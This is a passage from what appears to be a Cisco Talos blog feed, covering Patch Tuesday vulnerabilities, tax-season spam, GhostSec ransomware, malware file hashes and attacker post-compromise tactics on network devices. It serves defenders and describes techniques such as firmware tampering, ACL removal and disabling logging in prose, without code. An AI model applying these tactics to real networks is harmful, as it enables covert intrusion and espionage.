noopener"><u>CVE-2024-21407</u></a>, a remote code execution also in Hyper-V. An attacker inside a VM environment could remotely execute code on the host machine by sending specially crafted file operation requests to hardware resources on the VM. However, the adversary would need to be authenticated inside the VM first and acquire certain, specific information about the environment to be gathered before a successful attack.&#xA0;</p><p>Another remote code execution vulnerability &#x2014; of which there are 19 in Tuesday&#x2019;s release, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21334" rel="noreferrer noopener"><u>CVE-2024-21334</u></a>, exists in Open Management Infrastructure. A remote, unauthenticated attacker could exploit this vulnerability by accessing the OMI instance from the internet and sending specially crafted requests to trigger a use-after-free vulnerability.&#xA0;&#xA0;</p><p>CVE-2024-21334 is only considered by Microsoft to be &#x201C;important,&#x201D; though it has a CVSS score of 9.8 out of 10 &#x2014; the highest of any vulnerability disclosed as part of March&#x2019;s Patch Tuesday that affects a Microsoft product.&#xA0;&#xA0;</p><p>A complete list of all the other vulnerabilities Microsoft disclosed this month is available on its <a href="https://portal.msrc.microsoft.com/en-us/security-guidance" rel="noreferrer noopener"><u>update page</u></a>.&#xA0;</p><p>In response to these vulnerability disclosures, Talos is releasing a <a href="https://snort.org/advisories/talos-rules-2024-03-12" rel="noreferrer">new Snort rule set</a> that detects attempts to exploit some of them. Please note that additional rules may be released at a future date and current rules are subject to change pending additional information. Cisco Security Firewall customers should use the latest update to their ruleset by updating their SRU. Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.&#xA0;</p><p>The rules included in this release that protect against the exploitation of many of these vulnerabilities are 63140, 63141, 63142, 63144, 63145, 63152, 63153, 63155, 63156, 63161, 63162 and 63169 - 63170. There are also Snort 3 rules 300855, 300856 and 300858 - 300860.</p>]]></content:encoded></item><item><title><![CDATA[You’re going to start seeing more tax-related spam, but remember, that doesn’t actually mean there’s more spam]]></title><description><![CDATA[It’s important to be vigilant about tax-related scams any time these deadlines roll around, regardless of what country you’re in, but it’s not like you need to be particularly more skeptical in March and April.]]></description><link>https://blog.talosintelligence.com/threat-source-newsletter-march-7-2024/</link><guid isPermaLink="false">65ea05474b21a30001e06471</guid><category><![CDATA[Threat Source newsletter]]></category><dc:creator><![CDATA[Jonathan Munshaw]]></dc:creator><pubDate>Thu, 07 Mar 2024 19:00:53 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/threat-source-newsletter.jpg" alt="You&#x2019;re going to start seeing more tax-related spam, but remember, that doesn&#x2019;t actually mean there&#x2019;s more spam"><p>It&#x2019;s that time of the year when not only do you have to be worried about filing your federal taxes in the U.S., you must also be on the lookout for a whole manner of tax-related scams.&#xA0;&#xA0;</p><p>These are something that <a href="https://www.nbcnews.com/tech/security/s-need-know-tax-season-scams-rcna139839" rel="noreferrer noopener"><u>pop up every year</u></a> through email, texts, phone calls and even physical mail &#x2014; phony promises to get your tax return back faster, file your taxes &#x201C;easy and free&#x201D; or maximizing your possible return. Usually, the bad actors behind these are either looking to steal your money or personal information.&#xA0;&#xA0;</p><p>One scam from last year&#x2019;s tax season <a href="https://www.nasdaq.com/articles/new-tax-scam-on-social-media-could-cost-you-$5000" rel="noreferrer noopener"><u>could have cost consumers up to $5,000 in penalties</u></a> for trying to claim a fraudulent tax credit.&#xA0;&#xA0;</p><p>And it turns out this isn&#x2019;t just a problem in the U.S., either. We published new research last week into a trojan malware that&#x2019;s been <a href="https://blog.talosintelligence.com/timbrestealer-campaign-targets-mexican-users/" rel="noreferrer noopener"><u>infecting victims in Mexico with tax-related spam emails</u></a> and other social engineering tactics.&#xA0;&#xA0;</p><p>Many countries across the world all have tax filing deadlines around the same time &#x2014; Japan&#x2019;s is just around the corner on March 15, in the U.S. it&#x2019;s April 15, and several countries (Brazil, Canada, Chile, etc.) all share an April 30 filing deadline. So, adversaries all over the globe are going to be leveraging tax-related topics in their spam emails and social engineering campaigns in the coming weeks, trying to steal money, infect devices with malware, or steal critical personal information.&#xA0;</p><p>It&#x2019;s important to remember that this isn&#x2019;t &#x201C;peak spam season&#x201D; or anything, though, and it&#x2019;s not the time to spread FUD that, &#x201C;Oh, your inboxes are going to be flooded with spam!&#x201D;&#xA0;</p><p>As I&#x2019;ve written and <a href="https://youtu.be/uvac4CiN_RQ?si=rA36K2hLSwZb5wyO" rel="noreferrer noopener"><u>talked about before</u></a>, there isn&#x2019;t more spam during tax season, <a href="https://talostakes.talosintelligence.com/2018149/12413790" rel="noreferrer noopener"><u>it&#x2019;s just different</u></a>. Think about the confirmation bias that pops up when you buy a new car, and then suddenly you start seeing that car everywhere else on the road when you didn&#x2019;t notice it as much before.&#xA0;&#xA0;</p><p>Talos&#x2019; telemetry indicates that spam hasn&#x2019;t increased during tax filing season in the U.S. for many years, and attackers&#x2019; tactics largely stay the same: Try to create a convincing offer, document, or link, and try to convince the target to engage with that social engineering in some form.&#xA0;&#xA0;</p><p>It&#x2019;s important to be vigilant about tax-related scams any time these deadlines roll around, regardless of what country you&#x2019;re in, but it&#x2019;s not like you need to be particularly more skeptical in March and April than any other time of the year. As soon as the tax filing deadline comes and goes, attackers will just start looking for the next hot topic to include in their phishing emails &#x2014; presidential primaries, summer vacation deals or fake Amazon gift cards.&#xA0;</p><p>If you want to hear more about this, listen to the episode of Talos Takes on this topic from last year below.&#xA0;</p>
<!--kg-card-begin: html-->
<iframe title="There&apos;s not actually more spam during Tax Season &#x2014; it&apos;s just different spam" allowtransparency="true" height="150" width="100%" style="border: none; min-width: min(100%, 430px);height:150px;" scrolling="no" data-name="pb-iframe-player" src="https://www.podbean.com/player-v2/?i=dwt79-17268153-dir&amp;share=1&amp;download=1&amp;fonts=Arial&amp;skin=1&amp;font-color=auto&amp;rtl=0&amp;logo_link=episode_page&amp;btn-skin=7&amp;size=150" loading="lazy"></iframe>
<!--kg-card-end: html-->
<h2 id="the-one-big-thing">The one big thing&#xA0;</h2><p>An APT known as <a href="https://blog.talosintelligence.com/ghostsec-ghostlocker2-ransomware/" rel="noreferrer noopener"><u>GhostSec has increased its ransomware activities over the past year</u></a> and is now conducting &#x201C;double extortion&#x201D; ransomware attacks with fellow group Stormous. GhostSec and Stormous have also launched a new ransomware-as-a-service (RaaS) program STMX_GhostLocker and are actively recruiting new affiliates or members.&#xA0;&#xA0;</p><h3 id="why-do-i-care">Why do I care?&#xA0;</h3><p>Talos observed the GhostSec and Stormous ransomware groups operating together to conduct several double extortion attacks using the GhostLocker and StormousX ransomware programs against the victims in Cuba, Argentina, Poland, China, Lebanon, Israel, Egypt, Vietnam, Thailand and more nations, according to our assessment of the disclosure messages posted by the group in their Telegram channels and Stormous ransomware data leak site. This shows that the groups&#x2019; activities are not going to be contained just in one region or industry. RaaS has been a popular business model for many ransomware groups recently, which opens the door to other actors to use GhostSec&#x2019;s tools by just paying them money.&#xA0;&#xA0;</p><h3 id="so-now-what">So now what?&#xA0;</h3><p>Talos has released new IOCs to provide defenders with new ways to block these ransomware actors. One of the implants GhostSec specifically relies on injects an admin bypass and hacking tool targeting the WordPress content management system. Any WordPress users should make sure their login credentials are up-to-date and strong and check their site to ensure there aren&#x2019;t any illegitimate plugins or processes running on their site.&#xA0;&#xA0;</p><h1 id="top-security-headlines-of-the-week">Top security headlines of the week&#xA0;</h1><p><strong>A fake ransomware gang calling itself &#x201C;Mogilevich&#x201D; admitted that they made up a claim that it had hacked video game developer Epic and stolen personal information and game source code.</strong> A leak page from the group claimed to have 200GB of data stolen from the company available for sale to other threat actors, or they would return the stolen information to Epic in exchange for a ransom payment. The group claimed it had &quot;email, passwords, full name, payment information, source code and many other data.&quot; Epic immediately came forward sand said it had not detected any evidence of a hack or data breach. A few days after the claims went public, representatives from Mogilevich later came forward and called themselves &#x201C;professional fraudsters&#x201D; and they never hacked Epic&#x2019;s network. Epic is known for the popular online platform and game &#x201C;Fortnite.&#x201D; The fraudsters also admitted that they had sold fake ransomware infrastructure to other would-be actors who wanted to carry out attacks themselves, including tricking one buyer out of $85,000. (<a href="https://www.eurogamer.net/epic-games-hacked-and-data-stolen-ransomware-group-claims" rel="noreferrer noopener"><u>Eurogamer</u></a>, <a href="https://www.cyberdaily.au/security/10263-epic-games-hacker-mogilevich-admits-it-was-a-scam-operation" rel="noreferrer noopener"><u>Cyber Daily</u></a>)&#xA0;</p><p><strong>A popular series of white-label security cameras are littered with an array of security vulnerabilities that could allow adversaries to collect images from their cameras without users knowing.</strong> The cameras are manufactured by the same company, but sold under the labels of Eken and Tuck on popular websites like Amazon, Walmart, Sears and Temu. The doorbells also do not have a visible ID issued by the Federal Communications Commission (FCC) that&#x2019;s normally required by the agency, which technically makes them illegal to distribute in the U.S., though many of them were still for sale as of late February. The vulnerabilities affect more than 10 different products, which are all controlled by the same app that&#x2019;s available on the Android app store. All an adversary would need to do to exploit the vulnerabilities and spy on the camera would be to acquire the serial number &#x2014; no notification is sent to the doorbell&#x2019;s owner when there&#x2019;s a new pairing, and the adversary doesn&#x2019;t even need an account username or password. Retailers that list the cameras for sale did not respond to a request for comment from Consumer Reports, the outlet that performed the research. (<a href="https://www.consumerreports.org/home-garden/home-security-cameras/video-doorbells-sold-by-major-retailers-have-security-flaws-a2579288796/" rel="noreferrer noopener"><u>Consumer Reports</u></a>, <a href="https://techcrunch.com/2024/02/29/popular-video-doorbells-eken-tuck-hijacked-researchers/" rel="noreferrer noopener"><u>TechCrunch</u></a>)&#xA0;</p><p><strong>Payment systems across the U.S. health care system are offline, with many doctors having to switch to paper billing,</strong> after a massive data breach at Change Healthcare, a subsidiary of the UnitedHealth insurance company. Change Healthcare first disclosed the breach on Feb. 21 after adversaries disrupted operations for the company, which processes 15 billion health care-related transactions every year. Now the U.S. Department of Health and Human Services is urging health care systems and doctors who use Change to start developing alternatives, as they are unsure when systems will be back online. Change Healthcare is a system that connects doctors, hospitals and other health care providers with insurance companies to pay for medical care and authorize assorted services for patients. The follow-on effects have also been difficult on providers, who are now being faced with rent and other bills that they can&#x2019;t pay because they still haven&#x2019;t been paid by insurance companies. (<a href="https://www.usatoday.com/story/news/health/2024/03/05/unitedhealth-cyberattack-disrupts-records-billing-security/72849687007/" rel="noreferrer noopener"><u>USA Today</u></a>, <a href="https://www.nytimes.com/2024/03/05/health/cyberattack-healthcare-cash.html" rel="noreferrer noopener"><u>The New York Times</u></a>)&#xA0;</p><h1 id="can%E2%80%99t-get-enough-talos">Can&#x2019;t get enough Talos?&#xA0;</h1>
<!--kg-card-begin: html-->
<iframe width="560" height="315" src="https://www.youtube.com/embed/3YgeJqB-aI0?si=rvj2SCgHot3yW9Dg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>&#xA0;
<!--kg-card-end: html-->
<h1 id="upcoming-events-where-you-can-find-talos">Upcoming events where you can find Talos&#xA0;</h1><p><a href="https://www.botconf.eu/schedule/" rel="noreferrer"><strong><u>Botconf</u></strong></a><strong> (April 23 - 26)</strong>&#xA0;</p><p><em>Nice, C&#xF4;te d&apos;Azur, France</em></p><blockquote><em>This presentation from Chetan Raghuprasad details the Supershell C2 framework. Threat actors are using this framework massively and creating botnets with the Supershell implants.</em></blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"></a></p><p><a href="https://www.caro2024.org/agenda/" rel="noreferrer"><strong><u>CARO Workshop 2024</u></strong></a><strong> (May 1 - 3)</strong>&#xA0;</p><p><em>Arlington, Virginia</em></p><blockquote>Over the past year, we&#x2019;ve observed a substantial uptick in attacks by YoroTrooper, a relatively nascent espionage-oriented threat actor operating against the Commonwealth of Independent Countries (CIS) since at least 2022. Asheer Malhotra&apos;s presentation at CARO 2024 will provide an overview of their various campaigns detailing the commodity and custom-built malware employed by the actor, their discovery and evolution in tactics. He will present a timeline of successful intrusions carried out by YoroTrooper targeting high-value individuals associated with CIS government agencies over the last two years.</blockquote><p><a href="https://www.rsaconference.com/" rel="noreferrer noopener"><strong><u>RSA</u></strong></a><strong> (May 6 - 9)</strong>&#xA0;</p><p><em>San Francisco, California</em>&#xA0;&#xA0;</p><h2 id="most-prevalent-malware-files-from-talos-telemetry-over-the-past-week">Most prevalent malware files from Talos telemetry over the past week&#xA0;&#xA0;</h2><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91/details&#xA0;" rel="noreferrer">a31f222fc283227f5e7988d1ad9c0aecd66d58bb7b4d8518ae23e110308dbf91</a>&#xA0;&#xA0;<br><strong>MD5</strong>: 7bdbd180c081fa63ca94f9c22c457376&#xA0;<br><strong>Typical Filename:</strong> c0dwjdi6a.dll&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name: </strong>Trojan.GenericKD.33515991&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507/details&#xA0;&#xA0;" rel="noreferrer">9f1f11a708d393e0a4109ae189bc64f1f3e312653dcf317a2bd406f18ffcc507</a>&#xA0;&#xA0;<br><strong>MD5:</strong> 2915b3f8b703eb744fc54c81f4a9c67f&#xA0;&#xA0;<br><strong>Typical Filename: </strong>VID001.exe&#xA0;&#xA0;<br><strong>Claimed Product: </strong>N/A&#xA0;&#xA0;<br><strong>Detection Name:</strong> Win.Worm.Coinminer::1201&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934/details&#xA0;" rel="noreferrer">e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934</a>&#xA0;<br><strong>MD5:</strong> 93fefc3e88ffb78abb36365fa5cf857c&#xA0;<br><strong>Typical Filename:</strong> Wextract&#xA0;<br><strong>Claimed Product: </strong>Internet Explorer&#xA0;<br><strong>Detection Name:</strong> W32.File.MalParent&#xA0;</p><p><strong>SHA 256:</strong> <a href="https://www.virustotal.com/gui/file/9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc/details&#xA0;" rel="noreferrer">9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc</a>&#xA0;<br><strong>MD5:</strong> 4813fa6d610e180b097eae0ce636d2aa&#xA0;<br><strong>Typical Filename:</strong> xmrig.exe&#xA0;<br><strong>Claimed Product:</strong> XMRig&#xA0;<br><strong>Detection Name:</strong> Trojan.GenericKD.70491190&#xA0;</p><p><strong>SHA 256: </strong><a href="https://www.virustotal.com/gui/file/a75004c0bf61a2300258d99660552d88bf4e1fe6edab188aad5ac207babcf421/details&#xA0;" rel="noreferrer">a75004c0bf61a2300258d99660552d88bf4e1fe6edab188aad5ac207babcf421</a>&#xA0;<br><strong>MD5:</strong> c44f8ef0bbaeee256bfb62561c2a17db&#xA0;<br><strong>Typical Filename:</strong> ggzokjcqkgcbqiaxoohw.exe&#xA0;<br><strong>Claimed Product:</strong> N/A&#xA0;&#xA0;<br><strong>Detection Name: </strong>Symmi:GenMalicious-tpd&#xA0;</p>]]></content:encoded></item><item><title><![CDATA[The 3 most common post-compromise tactics on network infrastructure]]></title><description><![CDATA[We discuss three of the most common post-compromise tactics that Talos has observed in our threat telemetry and Cisco Talos Incident Response (Talos IR) engagements. These include modifying the device’s firmware, uploading customized/weaponized firmware, and bypassing security measures.]]></description><link>https://blog.talosintelligence.com/the-3-most-common-post-compromise-tactics-on-network-infrastructure/</link><guid isPermaLink="false">65e6df97587a0600019566dc</guid><category><![CDATA[On The Radar]]></category><dc:creator><![CDATA[Hazel Burton]]></dc:creator><pubDate>Thu, 07 Mar 2024 15:00:53 GMT</pubDate><media:content url="https://blog.talosintelligence.com/content/images/2024/03/Talos_on_the_radar.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.talosintelligence.com/content/images/2024/03/Talos_on_the_radar.jpg" alt="The 3 most common post-compromise tactics on network infrastructure"><p>We&#x2019;ve been discussing networking devices quite a lot recently and how Advanced Persistent Threat actors (APTs) are <a href="https://blog.talosintelligence.com/state-sponsored-campaigns-target-global-network-infrastructure/" rel="noreferrer noopener"><u>using highly sophisticated tactics</u></a> to target aging infrastructure for espionage purposes. Some of these attacks are also likely prepositioning the APTs for future disruptive or destructive attacks.&#xA0;</p><p>Talos has also observed several ransomware groups gaining initial access to networking devices to extort their victims. We wrote about these attacks in our <a href="https://blog.talosintelligence.com/cisco-talos-2023-year-in-review/" rel="noreferrer noopener"><u>2023 Year in Review report.</u></a>&#xA0;</p><p>The mechanisms and methodology behind these two groups are drastically different, but no less concerning. This is partly because networking devices offer a great deal of access to an attacker. If you can compromise a router, you are highly likely to have a point of ingress into that network.&#xA0;&#xA0;</p><p>These attacks are largely being carried out on aging network infrastructure; devices that have long since gone end-of-life, and/or have critical unpatched vulnerabilities sitting on them. Many of these older devices weren&#x2019;t designed with security in mind. Traditionally, network infrastructure has sat outside of security&#x2019;s ecosystem, and this makes monitoring network access attempts increasingly difficult.&#xA0;</p><p>Adversaries, particularly APTs, are capitalizing on this scenario to conduct hidden post-compromise activities once they have gained initial access to the network. The goal here is to give themselves a greater foothold, conceal their activities, and hunt for data and intelligence that can assist them with their espionage and/or disruptive goals.&#xA0;</p><p>Think of it like a burglar breaking into a house via the water pipes. They&#x2019;re not using &#x201C;traditional&#x201D; methods such as breaking down doors or windows (the noisy smash-and-grab approach) &#x2014; they&#x2019;re using an unusual route, because no one ever thinks their house will be broken into via the water pipes. Their goal is to remain stealthy on the inside while they take their time to find the most valuable artefacts (credit to my colleague Martin Lee for that analogy).&#xA0;</p><p>In this blog, we explore how we got here, and the different approaches of APTs vs ransomware actors. We also discuss three of the most common post-compromise tactics that Talos has observed in our threat telemetry and Cisco Talos Incident Response (Talos IR) engagements. These include modifying the device&#x2019;s firmware, uploading customized/weaponized firmware, and bypassing security measures.&#xA0;</p><h3 id="how-we-got-here">How we got here</h3><p>There is a rich history of threat actors targeting network infrastructure &#x2014; the most notorious example being <a href="https://blog.talosintelligence.com/vpnfilter/" rel="noreferrer noopener"><u>VPNFilter in 2018</u></a>. The attack was staged, but potential disaster was averted when the attacker&#x2019;s command and control (C2) infrastructure was seized by the FBI, preventing the attacker from issuing the final command to take over the devices.&#xA0;</p><p>At the time, we spoke about how VPNFilter was the &#x201C;wakeup call that alerted the cybersecurity community to a new kind of state-sponsored threat &#x2014; a vast network of compromised devices across the globe that could stow away secrets, hide the origins of attacks and shut down networks.&#x201D;&#xA0;</p><p>The techniques used in VPNFilter gives us plenty of clues as to possible current threat actor motivations. In the attack, the modular design of the malware allowed for many things to take place post compromise &#x2013; one module even allowed the malware to create a giant Tor network of the 500,000 compromised devices.&#xA0;&#xA0;</p><p>A recent attack which may have been inspired by this was the KV Botnet (Lumen <a href="https://blog.lumen.com/kv-botnet-dont-call-it-a-comeback/" rel="noreferrer noopener"><u>released a blog about</u></a> this in December 2023). The botnet was used to compromise devices including small and home office (SOHO) routers and firewalls and then chain them together, &#x201C;to form a covert data transfer network supporting various Chinese state-sponsored actors including Volt Typhoon.&#x201D;&#xA0;&#xA0;</p><p>The Beers with Talos team recently spoke about the KV Botnet and Volt Typhoon, a group widely reported by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), Microsoft and other organizations to be a PRC-based state actor. They have been known to conduct long-term espionage activities and strategic operations that are potentially positioning them for future destructive/disruptive attacks.&#xA0;Listen to the episode below:</p>
<!--kg-card-begin: html-->
<iframe title="The Reverberations of Volt Typhoon" allowtransparency="true" height="150" width="100%" style="border: none; min-width: min(100%, 430px);height:150px;" scrolling="no" data-name="pb-iframe-player" src="https://www.podbean.com/player-v2/?i=m7tmj-1d656557-dir&amp;share=1&amp;download=1&amp;fonts=Arial&amp;skin=1&amp;font-color=auto&amp;rtl=0&amp;logo_link=episode_page&amp;btn-skin=7&amp;size=150" loading="lazy"></iframe>
<!--kg-card-end: html-->
<p>In 2019, we saw another type of modular malware that was designed to target network infrastructure: <a href="https://blog.talosintelligence.com/threat-advisory-cyclops-blink/" rel="noreferrer noopener"><u>&#x201C;Cyclops Blink.&#x201D;</u></a> This was dubbed the &#x201C;Son of VPNFilter&#x201D; because of the similarities to that campaign.</p><p>The Cyclops Blink malware was designed to run on Linux systems, specifically for 32-bit PowerPC architecture. It could be used in a variety of ways, including reconnaissance and espionage activity. It leveraged modules to facilitate various activities such as establishment of C2, file upload/download and data extraction capabilities.&#xA0;&#xA0;</p><p>In 2022, <a href="https://blog.talosintelligence.com/threat-advisory-cyclops-blink/" rel="noreferrer noopener"><u>Talos wrote about</u></a> how we had detected compromised MikroTik routers inside of Ukraine being leveraged to conduct brute force attacks on devices protected by multi-factor authentication. This continued the pattern we have seen since our investigation into VPNFilter involving actors using MikroTik routers.&#xA0;</p><div class="kg-card kg-callout-card kg-callout-card-blue"><div class="kg-callout-text">APTs and cyber criminals have different goals for attacking network infrastructure. APTs want to go in with stealth and hide for espionage purposes. Criminal groups use edge devices to an end for ransomware purposes.&#xA0;</div></div><figure class="kg-card kg-image-card"><img src="https://blog.talosintelligence.com/content/images/2024/03/NetworkPostCompromise.jpg" class="kg-image" alt="The 3 most common post-compromise tactics on network infrastructure" loading="lazy" width="2000" height="1026" srcset="https://blog.talosintelligence.com/content/images/size/w600/2024/03/NetworkPostCompromise.jpg 600w, https://blog.talosintelligence.com/content/images/size/w1000/2024/03/NetworkPostCompromise.jpg 1000w, https://blog.talosintelligence.com/content/images/size/w1600/2024/03/NetworkPostCompromise.jpg 1600w, https://blog.talosintelligence.com/content/images/2024/03/NetworkPostCompromise.jpg 2000w" sizes="(min-width: 720px) 720px"></figure><p>For more insights into the status of attacks on network infrastructure, here is Talos&#x2019; Matt Olney and Nick Biasini talking about what Talos has observed over the past 18 months:&#xA0;</p><figure class="kg-card kg-embed-card"><iframe width="200" height="113" src="https://www.youtube.com/embed/mPcA-Ho6pFs?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen title="2023 Year in Review: Network attacks"></iframe></figure><h3 id="post-compromise-tactics-and-techniques">Post compromise tactics and techniques</h3><p>Compromising the network for persistent access and intelligence capture is a multi-step process and requires a lot of work and expertise in targeted technologies which is why we typically only see the most sophisticated threat actors carry out these attacks.&#xA0;&#xA0;</p><p>Below are some techniques that Talos has observed post compromise on out-of-date networking equipment, in order to maintain persistent access. We initially discussed these in our threat advisory in April, as well as our 2023 Year in Review, but due to the sophisticated nature of these attacks and the continued exploitation, we wanted to dive deeper into some of these tactics:&#xA0;</p><h3 id="1-modifying-the-firmware">1) Modifying the firmware</h3><p>Talos has observed APTs modifying network device firmware on older devices to add certain pieces of functionality, which will allow them to gain a greater foothold on the network. This could be adding implants or modifying the way the device captures information.&#xA0;&#xA0;</p><p>An example of this is the <a href="https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/" rel="noreferrer noopener"><u>recent exploitation of Cisco IOS XE Software Web Management User Interface</u></a>. One attack included the deployment of an implant we called &#x201C;BadCandy&#x201D; which consisted of a configuration file (&#x201C;cisco_service.conf&#x201D;). The configuration file defined the new web server endpoint (URI path) used to interact with the implant. That endpoint receives certain parameters that allowed the actor to execute arbitrary commands at the system or IOS level.&#xA0;&#xA0;</p><p>Another example is from September 2023, when <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-270a" rel="noreferrer noopener"><u>CISA wrote about how</u></a> BlackTech was observed modifying firmware to allow the installation of a modified bootloader which helps it to bypass certain security features (while creating a backdoor to the device).&#xA0;</p><p>Detecting the modification of firmware is extremely difficult for defenders. Occasionally, there may be something in the logs to imply an upgrade and reboot, but turning off logging is usually one of the first steps attackers take once they are inside a network.&#xA0;</p><p>This again highlights the need for organizations to sunset aging network infrastructure that isn&#x2019;t secure by design, or, at the very least, increasing cybersecurity due diligence on older equipment such as configuration management. Performing configuration comparisons on firmware may help to highlight when it has been altered by an adversary.&#xA0;&#xA0;</p><h3 id="2-uploading-customizedweaponized-firmware">2) Uploading customized/weaponized firmware</h3><p>If threat actors cannot modify the existing firmware, or they need additional levels of access that they don&#x2019;t currently have, adversaries can upload customized or old firmware they know have working exploits against it (in effect, reverting to an older version of the firmware).&#xA0;&#xA0;</p><p>Once the weaponized firmware has been uploaded, they reboot the device, and then exploit the vulnerability that is now unpatched. This now provides the threat actor with a box that can be modified with additional functionality, to exfiltrate data, for example.&#xA0;</p><p>Again, as with the modification of firmware tactic, it&#x2019;s important to check your network environment for unauthorized changes. These types of devices need to be watched very closely, as threat actors will want to try and prevent system administrators from seeing the activity by turning off logging. If you&#x2019;re looking at your logs and it looks like someone has actually turned off logging, that is a huge red flag that your network has been infiltrated and potentially compromised.&#xA0;</p><h3 id="3-bypassing-or-removing-security-measures">3) Bypassing or removing security measures</h3><p>Talos has also seen threat actors take measures to remove anything blocking their access to fulfil their goals. If for example they want to exfiltrate data, but there&#x2019;s an access control list (ACL) that blocks the actor from being able to access the host, they may modify the ACL or remove it from the interface. Or they may install operating software that knows to not apply ACLs against certain actor IP addresses, regardless of the configuration.&#xA0;</p><p>Other security measures that APTs will attempt to subvert include disabling remote logging, adding user accounts with escalated privileges, and reconfiguring SNMP community strings. SNMP is often overlooked, so we recommend having good, complex community strings and upgrading to SNMPv3 where possible. Ensure that your management of SNMP is only permitted to be done from the inside and not from the outside.&#xA0;&#xA0;</p><p>The <a href="https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/" rel="noreferrer noopener"><u>BadCandy campaign</u></a> is a good example of how an actor can remove certain security measures. The adversary was able to create miniature servers (virtualized computers) inside of compromised systems which created a base of operations for them. This allowed the threat actors to intercept and redirect traffic, as well as add and disable user accounts. This meant that even if the organization were to reboot the device and erase the active memory, the adversary would still have persistent accounts &#x2013; effectively a consistent back door.&#xA0;&#xA0;</p><h3 id="additional-campaign-objectives">Additional campaign objectives</h3><p>In our original threat advisory, we also posted a non-exhaustive list of the type of activities Talos has observed threat actors take on network infrastructure devices. The point behind this is that threat actors are taking the type of steps that someone who wants to understand (and control) your environment.&#xA0;&#xA0;</p><p>Examples we have observed include threat actors performing a &#x201C;show config,&#x201D; &#x201C;show interface,&#x201D; &#x201C;show route,&#x201D; &#x201C;show arp table&#x201D; and a &#x201C;show CDP neighbor.&#x201D; All these actions give the attackers a picture of a router&#x2019;s perspective of the network, and an understanding of what foothold they have. Other campaign objectives include:&#xA0;</p><ul><li>Creation of hub-and-spoke VPNs designed to allow the siphoning of targeted traffic from network segments of interest through the VPN.&#xA0;</li><li>The capture of network traffic for future retrieval, frequently limited to specific IPs or protocols.&#xA0;</li><li>The use of infrastructure devices to deliver attacks or maintain C2 in various campaigns.&#xA0;</li></ul><blockquote><a href="https://blog.talosintelligence.com/state-sponsored-campaigns-target-global-network-infrastructure/" rel="noreferrer noopener"><u>Read more about campaign objectives</u></a>&#xA0;</blockquote><h3 id="recommendations">Recommendations</h3><p>The first thing to say when it comes to recommendations is that if you are using network infrastructure that is end of life, out of support, and now has vulnerabilities that cannot be patched, now really is the time to replace those devices.&#xA0;&#xA0;</p><p>To combat the threat of aging network infrastructure as a target, Cisco became a founding member of the Network Resilience Coalition. Along with other vendors in this space and key governmental partners, the group is focussed on threat research and recommendations for defenders. The <a href="https://www.centerforcybersecuritypolicy.org/initiatives/network-resilience-coalition" rel="noreferrer noopener"><u>initial report from the Network Resilience Coalition</u></a> was published at the end of January 2024 and contains a broad set of recommendations for both consumers of networking devices and product vendors.&#xA0;</p><p>Earlier this month, Cisco&#x2019;s Head of Trust Office Matt Fussa wrote about <a href="https://blogs.cisco.com/security/network-resilience-accelerating-efforts-to-protect-critical-infrastructure" rel="noreferrer noopener"><u>how organizations should view these recommendations</u></a>, and the overall threat that end-of-life network infrastructure poses on a national security level.&#xA0;&#xA0;</p><p>The report from the <a href="https://www.centerforcybersecuritypolicy.org/initiatives/network-resilience-coalition" rel="noreferrer noopener"><u>Network Resilience Coalition</u></a> contains an in depth set of recommendations for network infrastructure defense. Here is a brief summary:&#xA0;</p><p>Key recommendations from the report for network product vendors include:&#xA0;</p><ul><li>Align software development practices with the NIST Secure Software Development Framework (SSDF).&#xA0;</li><li>Provide clear and concise details on product &#x201C;end-of-life,&#x201D; including specific date ranges and details on what support levels to expect for each.&#xA0;</li><li>Separate critical security fixes for customers and not bundle those patches with new product features or functionality changes.&#xA0;</li><li>Get involved in the&#x202F;<a href="https://cts.businesswire.com/ct/CT?id=smartlink&amp;url=https%3A%2F%2Fwww.oasis-open.org%2F2023%2F09%2F13%2Fintroducing-openeox%2F&amp;esheet=53886540&amp;newsitemid=20240123233430&amp;lan=en-US&amp;anchor=OpenEoX+effort+in+OASIS&amp;index=2&amp;md5=680ee21423f1ab46db44f3b47e32bc25" rel="noreferrer noopener"><u>OpenEoX effort in OASIS</u></a>, a cross-industry effort to standardize how end-of-life information is communicated and provide it in a machine-readable format.&#xA0;</li></ul><p>Purchasers of network products should:&#xA0;</p><ul><li>Favor vendors that are aligned with the SSDF, provide you with clear end-of-life information, and provide you with separate critical security fixes.&#xA0;</li><li>Increase cybersecurity diligence (vulnerability scanning, configuration management) on older products that are outside of their support period.&#xA0;</li><li>Periodically ensure that product configuration is aligned with vendor recommendations, with increasing frequency as products age, and ensure implementation of timely updates and patches.&#xA0;</li></ul><p>As the report says, &#x201C;These recommendations, if broadly implemented, would lead to a more secure and resilient global network infrastructure and help better protect the critical infrastructure that people rely on for their livelihood and well-being.&#x201D;&#xA0;&#xA0;</p><p>From a Talos perspective, we are keen to re-emphasize this point and help our customers transition from equipment that has become 